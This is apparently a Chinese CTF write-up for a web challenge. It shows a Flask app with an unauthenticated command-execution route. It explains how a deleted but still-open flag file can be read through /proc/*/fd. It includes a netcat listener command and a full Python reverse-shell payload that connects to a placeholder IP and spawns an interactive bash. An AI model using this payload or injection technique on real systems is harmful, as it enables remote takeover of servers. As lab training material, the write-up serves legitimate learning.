将python整理一下
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
#flag = flag_file.read()
#flag_file.close()
#@app.route('/flag')
#def flag():
# return flag
## want flag? naive!
#You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1" \
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
可以发现进到shell这个目录下,会删除flag.txt这个文件,同时传入get请求c时虽然可以命令执行,但是不会有回显。。。。。
看了web
知识点
在linux里如果打开了一个文件而没有关闭,就算删除了文件(即rm -f flag.txt)在/proc/[pid]/fd下还是会存在,所以我们还是可以看flag,txt的
这也是为什么会注释掉那些代码的原因(以后还是别乱动源码…)
由于命令执行没有回显,我们可以弹shell,这个是python写的
在BUU上由于是弹shell得先在内网开启linux靶机服务
先确定自己靶机的ip地址,再输入ip地址和端口(端口随便填)
传入paylaod之前
先监听你设置的端口
nc -lvp 端口
payload
shell?c=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
传入后就可以命令执行了
查看/proc/[pid[/fd 里的文件
由于有很多[pid]我们可以直接用*来代替,省的一步一步去找
指令
cat /proc/*/fd/*
即可查到flag.txt